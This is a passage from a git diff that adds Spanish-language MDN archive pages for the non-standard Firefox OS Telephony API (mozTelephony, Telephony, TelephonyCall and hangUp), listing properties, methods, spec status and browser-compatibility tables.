+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Devuelve un objeto</span> <a href="/es/docs/Web/API/Telephony"><span class="hps"> Telephony</span></a> <span class="hps">que se puede utilizar para</span> <span class="hps">iniciar</span> <span class="hps">y controlar</span> <span class="hps">las llamadas</span> <span class="hps">telefónicas del</span> <span class="hps">navegador.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var <em>phone</em> = window.navigator.mozTelephony;
+</pre>
+
+<h2 id="Value" name="Value">Valor</h2>
+
+<p><code>navigator.mozTelephony</code> <span id="result_box" lang="es"><span class="hps">es</span> <span class="hps">un objeto de</span> <a href="/es/docs/Web/API/Telephony">Telephony</a> <span class="hps">que se puede utilizar para</span> <span class="hps">controlar</span> <span class="hps">las</span> <span class="hps">funciones de teléfono del</span> <span class="hps">dispositivo en el que</span> <span class="hps">se está ejecutando el</span> <span class="hps">navegador.</span></span></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta</span> <span class="hps">es</span> <span class="hps">una implementación no</span> <span class="hps">estándar</span><span>,</span> <span class="hps">pero</span> <span class="hps">se discute</span> <span class="hps">en el W3C</span> <span class="hps">como parte de</span><span class="hps">l</span> </span><a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicaciones del sistema</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span> </span></p>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Uso del la API de telefonía</a></li>
+ <li><a href="/es/docs/Web/API/Telephony">Telephony</a></li>
+ <li><a href="/es/docs/Web/API/TelephonyCall">TelephonyCall</a></li>
+ <li><a href="/es/docs/Web/API/CallEvent">CallEvent</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/telephony/index.html b/files/es/archive/b2g_os/api/telephony/index.html
new file mode 100644
index 0000000000..840ff8fbe0
--- /dev/null
+++ b/files/es/archive/b2g_os/api/telephony/index.html
@@ -0,0 +1,141 @@
+---
+title: Telephony
+slug: Archive/B2G_OS/API/Telephony
+translation_of: Archive/B2G_OS/API/Telephony
+---
+<div><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section> <div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div> <div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div></div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Proporciona soporte para</span> <span class="hps">marcar,</span> <span class="hps">contestar y manejar</span> <span class="hps">llamadas de teléfono en</span> <span class="hps">un dispositivo con</span> <span class="hps">soporte de telefonía</span><span>.</span></span></p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Telephony/active" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.active</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un objeto</span> <a href="/es/docs/Web/API/TelephonyCall"><span class="hps">TelephonyCall</span></a> <span class="hps">indicanda</span> <span class="hps">la llamada que está</span> <span class="hps">activa en ese momento</span><span>.</span> <span class="hps">La llamada activa</span> <span class="hps">es</span> <span class="hps">la que recibe</span> <span class="hps">la entrada</span> <span class="hps">del micrófono y</span> <span class="hps">cualquier</span> <span class="hps">tono generado</span> <span class="hps">utilizando el</span> metodo <a href="/es/docs/Web/API/Telephony/startTone" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.startTone()</code></a><span>.</span></span></dd>
+ <dt><a href="/es/docs/Web/API/Telephony/calls" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.calls</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Matriz de objetos</span> <a href="/es/docs/Web/API/TelephonyCall"><span class="hps">TelephonyCall</span></a><span>,</span> <span class="hps">uno para cada</span> <span class="hps">llamada que está</span> <span class="hps">conectado en ese momento</span><span>.</span></span></dd>
+ <dt><a href="/es/docs/Web/API/Telephony/muted" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.muted</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Se establece en <code>true</code></span> <span class="hps">para silenciar el micrófono</span> <span class="hps">o <code>false</code> para</span> <span class="hps">activar el micrófono</span><span>.</span></span></dd>
+ <dt><a href="/es/docs/Web/API/Telephony/speakerEnabled" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.speakerEnabled</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Se establece en <code>true</code></span> <span class="hps">para habilitar la funcionalidad</span> <span class="hps">de altavoz o</span> <span class="hps"><code>false</code> para desactivarla</span><span>.</span></span></dd>
+</dl>
+
+<h3 id="Manejo_de_eventos">Manejo de eventos</h3>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Telephony/oncallschanged" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.oncallschanged</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">controlador para el evento</span> <code><a href="/es/docs/Web/Reference/Events/callschanged" title="/es/docs/Web/Reference/Events/callschanged">callschanged</a></code><span>;</span> <span class="hps">este evento</span> <a href="/es/docs/Web/API/CallEvent"><span class="hps">CallEvent</span></a> <span class="hps">se envía</span> <span class="hps">cada vez que la</span> <span class="hps">lista de llamadas</span> <span class="hps">presenta cambios.</span></span></dd>
+ <dt><span lang="es"><span class="hps"><a href="/es/docs/Web/API/TelephonyCall.onincoming"><span style="color: #ff0000;">Telephony.onincoming</span></a></span></span></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">controlador para el</span> <span class="hps">evento de entrada</span><span>, lo que</span> <a href="/es/docs/Web/API/CallEvent"><span class="hps">CallEvent</span></a><span class="hps"> envía</span> <span class="hps">cada vez que hay una</span> <span class="hps">nueva</span> <span class="hps">llamada entrante</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Telephony/dial" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.dial()</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Marca el número</span> <span class="hps">de teléfono especificado</span><span>, que se especifica</span> <span class="hps">como una cadena.</span></span></dd>
+ <dt><a href="/es/docs/Web/API/Telephony/startTone" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.startTone()</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Comienza</span> <span class="hps">la generación del</span> <span class="hps">tono DTMF</span> <span class="hps">especificado.</span></span></dd>
+ <dt><a href="/es/docs/Web/API/Telephony/stopTone" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony.stopTone()</code></a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Detiene</span> <span class="hps">la generación del</span> <span class="hps">tono DTMF</span> <span class="hps">actualmente</span> <span class="hps">sonando</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta</span> <span class="hps">es</span> <span class="hps">una implementación no</span> <span class="hps">estándar</span><span>,</span> <span class="hps">pero</span> <span class="hps">se discute</span> <span class="hps">en el W3C</span> <span class="hps">como parte de</span>l</span> <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicaciones del sistema</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span> </span></p>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Uso de la API de telefonía</a></li>
+ <li><a href="/es/docs/Web/API/TelephonyCall">TelephonyCall</a></li>
+ <li><a href="/es/docs/Web/API/CallEvent">CallEvent</a></li>
+ <li><a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/telephonycall/hangup/index.html b/files/es/archive/b2g_os/api/telephonycall/hangup/index.html
new file mode 100644
index 0000000000..1afab7cee9
--- /dev/null
+++ b/files/es/archive/b2g_os/api/telephonycall/hangup/index.html
@@ -0,0 +1,118 @@
+---
+title: TelephonyCall.hangUp
+slug: Archive/B2G_OS/API/TelephonyCall/hangUp
+translation_of: Archive/B2G_OS/API/TelephonyCall/hangUp
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div><p></p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Este método</span> <span class="hps">cuelga</span> <span class="hps">una llamada en curso</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>instanceOfTelephonyCall</em>.hangUp();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta</span> <span class="hps">es</span> <span class="hps">una implementación no</span> <span class="hps">estándar</span><span>,</span> <span class="hps">pero</span> <span class="hps">se discute</span> <span class="hps">en el W3C</span> <span class="hps">como parte de</span><span class="hps">l</span> </span><a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicaciones del sistema</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span> </span></p>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Using the Telephony API</a></li>
+ <li><a href="/es/docs/Web/API/Telephony">Telephony</a></li>
+ <li><a href="/es/docs/Web/API/TelephonyCall">TelephonyCall</a></li>
+ <li><a href="/es/docs/Web/API/CallEvent">CallEvent</a></li>
+ <li><a href="/es/docs/Web/API/Navigator.mozTelephony">Navigator.mozTelephony</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/telephonycall/index.html b/files/es/archive/b2g_os/api/telephonycall/index.html
new file mode 100644
index 0000000000..118b5126fc
--- /dev/null
+++ b/files/es/archive/b2g_os/api/telephonycall/index.html
@@ -0,0 +1,185 @@
+---
+title: TelephonyCall
+slug: Archive/B2G_OS/API/TelephonyCall
+translation_of: Archive/B2G_OS/API/TelephonyCall
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li></ol></section><p></p>
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div><p></p>
+<h2 id="Resumen">Resumen</h2>
+<p>Representa una llamada telefonica, <span id="result_box" lang="es"><span class="hps">proporciona</span> <span class="hps">información sobre la llamada</span> <span class="hps">y ofreciendo</span> <span class="hps">mecanismos</span> <span class="hps">para controlar</span> <span class="hps">y</span> <span class="hps">detectar</span> <span class="hps">los cambios en</span> <span class="hps">su estado.</span></span></p>
+<h2 id="Propiedades">Propiedades</h2>
+<dl>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/number" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.number</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Cadena que indica el</span> <span class="hps">número de teléfono</span> <span class="hps">correspondiente a la llamada</span><span>.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/state" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.state</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una</span> <span class="hps">cadena que indica el</span> <span class="hps">estado de la llamada</span><span>.</span></span></dd>
+</dl>
+<h3 id="Controladores_de_eventos">Controladores de eventos</h3>
+<dl>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/onalerting" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.onalerting</code></a></dt>
+ <dd>
+  A function to be called when the call alerts. <strong>What does this mean?</strong></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/onbusy" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.onbusy</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">que se llamará cuando</span> <span class="hps">se recibe una</span> <span class="hps">señal de ocupado</span> <span class="hps">al intentar</span> <span class="hps">marcar.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/onconnected" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.onconnected</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">que se llamará</span> <span class="hps">una vez que se</span> <span class="hps">conecte la llamada</span><span>.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/onconnecting" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.onconnecting</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">que se llamará</span> <span class="hps">después de marcar</span><span>,</span> <span class="hps">a la espera de</span> <span class="hps">una conexión.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/ondialing" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.ondialing</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">que se llamará</span> <span class="hps">cuando la llamada</span> <span class="hps">comienza a marcar</span> <span class="hps">el </span></span><a href="/es/docs/Web/API/TelephonyCall/number" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>number</code></a>.</dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/ondisconnected" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.ondisconnected</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">que se llamará</span> <span class="hps">después de</span> <span class="hps">que la llamada haya</span> <span class="hps">terminado</span> <span class="hps">de desconectar.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/ondisconnecting" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.ondisconnecting</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">que se llamará cuando</span> <span class="hps">la llamada</span> <span class="hps">comienza a</span> <span class="hps">desconectar.</span></span></dd>
+ <dt>
+  <span lang="es"><span class="hps"><span style="color: #ff0000;">TelephonyCall.onincoming</span></span></span></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Una</span> <span class="hps">función a llamar</span> <span class="hps">cuando se detecta</span> <span class="hps">una llamada entrante.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/onstatechange" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.onstatechange</code></a></dt>
+ <dd>
+  A function to be called when the <a href="/es/docs/Web/API/TelephonyCall/state" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>state</code></a> of the call changes.</dd>
+</dl>
+<h2 id="Metodos">Metodos</h2>
+<dl>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/answer" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.answer()</code></a></dt>
+ <dd>
+  Responde a una llamada entrante</dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/hangUp" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.hangUp()</code></a></dt>
+ <dd>
+  Cuelga la llamada</dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/hold" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.hold()</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Permite</span> <span class="hps">poner</span> <span class="hps">una llamada en espera</span><span>.</span></span></dd>
+ <dt>
+  <a href="/es/docs/Web/API/TelephonyCall/resume" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall.resume()</code></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Permite</span> <span class="hps">recuperar</span> <span class="hps">una llamada</span> <span class="hps">en espera</span>.</span></dd>
+</dl>
+<p><code>TelephonyCall</code> <span id="result_box" lang="es"><span class="hps">también</span> <span class="hps">hereda métodos de</span></span> <a href="/es/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a>:</p>
+<p></p><dl>
+ <dt><a href="/en-US/docs/Web/API/EventTarget/addEventListener" title="The EventTarget method addEventListener() sets up a function that will be called whenever the specified event is delivered to the target."><code>EventTarget.addEventListener()</code></a></dt>
+ <dd>Register an event handler of a specific event type on the <code>EventTarget</code>.</dd>
+ <dt><a href="/en-US/docs/Web/API/EventTarget/removeEventListener" title="The EventTarget.removeEventListener() method removes from the EventTarget an event listener previously registered with EventTarget.addEventListener(). The event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see Matching event listeners for removal"><code>EventTarget.removeEventListener()</code></a></dt>
+ <dd>Removes an event listener from the <code>EventTarget</code>.</dd>
+ <dt><a href="/en-US/docs/Web/API/EventTarget/dispatchEvent" title="Dispatches an Event at the specified EventTarget, (synchronously) invoking the affected EventListeners in the appropriate order. The normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchEvent()."><code>EventTarget.dispatchEvent()</code></a></dt>
+ <dd>Dispatch an event to this <code>EventTarget</code>.</dd>
+</dl>
+
+<h3 id="Additional_methods_for_Mozilla_chrome_code">Additional methods for Mozilla chrome code</h3>
+
+<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. See also <a href="/en-US/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) <span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span></li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) <span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span></li>
+</ul><p></p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<p><span id="result_box" lang="es"><span class="hps">Se trata de</span> <span class="hps">una implementación no</span> <span class="hps">estándar, pero</span> <span class="hps">se está discutiendo</span> <span class="hps">en el W3C</span><span>, como parte</span> <span class="hps">del</span></span> <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicación del sistea</a>.</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span></span></p>
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caracteristica</th>
